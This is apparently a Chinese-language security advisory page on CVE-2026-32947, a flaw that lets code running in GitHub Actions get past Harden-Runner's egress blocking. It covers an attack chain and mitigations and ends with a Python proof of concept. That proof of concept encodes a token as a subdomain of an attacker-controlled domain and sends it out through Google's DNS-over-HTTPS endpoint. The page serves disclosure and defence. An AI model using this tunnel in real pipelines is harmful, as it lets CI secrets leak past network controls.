IPBUF安全漏洞报告
English
CVE-2026-32947 CVSS 4.9 中危

CVE-2026-32947 Harden-Runner DoH数据泄露漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32947
漏洞类型
安全限制绕过
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Harden-Runner

相关标签

CVE-2026-32947信息泄露DoHHarden-RunnerCI/CD安全绕过漏洞

漏洞概述

Harden-Runner是GitHub Actions的安全代理,在2.15.1及以下版本中存在DNS over HTTPS (DoH)漏洞。该漏洞允许攻击者绕过egress-policy的阻断限制,通过允许的HTTPS端点(如dns.google)建立隧道窃取数据。攻击者将敏感信息编码为DoH查询的子域名,流量被Harden-Runner误判为合法HTTPS通信。利用该漏洞需已在GitHub Actions工作流中获得代码执行权限。

技术细节

该漏洞源于Harden-Runner基于域名的网络过滤机制未能有效检测DNS over HTTPS (DoH)流量中的应用层攻击行为。Harden-Runner旨在限制CI/CD环境的网络出站访问,通常配置为阻断非白名单流量,但允许访问如dns.google等必要的HTTPS服务。攻击者在获得Runner的代码执行权限后,利用DoH协议特性,构造包含窃取数据(如环境变量、Token)的DNS查询,并将数据编码为子域名。由于DoH请求使用标准的HTTPS协议发往合法域名,Harden-Runner放行了该流量。随后,DoH服务器将解析请求转发至攻击者控制的权威DNS服务器,从而完成了绕过网络边界防御的数据外带。

攻击链分析

STEP 1
初始访问
攻击者利用供应链投毒或密钥泄露等方式,在目标GitHub Actions工作流中植入恶意代码并获得执行权限。
STEP 2
构造DoH隧道
恶意代码收集敏感信息(如Runner主机名、Secrets),将其编码为DNS子域名,并构造指向攻击者域名的DoH查询请求。
STEP 3
绕过检测
Harden-Runner检测到目标地址为合法的DoH服务(如dns.google),协议为HTTPS,因此允许流量通过,未触发阻断策略。
STEP 4
数据外泄
公共DoH解析器处理请求,将带有编码数据的DNS查询转发给攻击者控制的权威DNS服务器,攻击者解析日志获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # Target sensitive data to exfiltrate target_data = "GITHUB_TOKEN_SECRET" # Attacker's domain where they control the DNS server attacker_domain = "attacker-controlled-domain.com" # Encode data to be safe for DNS (simplified example) # In a real scenario, you might use Base32 or similar encoding suitable for subdomains encoded_data = base64.b32encode(target_data.encode()).decode('utf-8').lower() # Construct the subdomain for the DoH query # The query will be for: <encoded_data>.attacker-controlled-domain.com dns_query_name = f"{encoded_data}.{attacker_domain}" # Use Google's Public DNS over HTTPS API doh_url = "https://dns.google/resolve" # Parameters for the DoH request params = { 'name': dns_query_name, 'type': 'A' # Query type A (IPv4 address) } try: # Send the DoH request # This traffic appears as standard HTTPS to dns.google, bypassing simple egress blocks response = requests.get(doh_url, params=params) if response.status_code == 200: print(f"[+] PoC Successful: Data exfiltrated via DoH.") print(f"[+] Query sent for: {dns_query_name}") else: print(f"[-] PoC Failed: HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Harden-Runner <= 2.15.1

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或网络网关层面阻断对公共DNS over HTTPS服务(如dns.google, cloudflare-dns.com)的直接访问,并强制流量通过内部可监控的DNS代理。同时,应审查所有CI/CD工作流代码,确保没有未授权的命令执行或数据传输行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表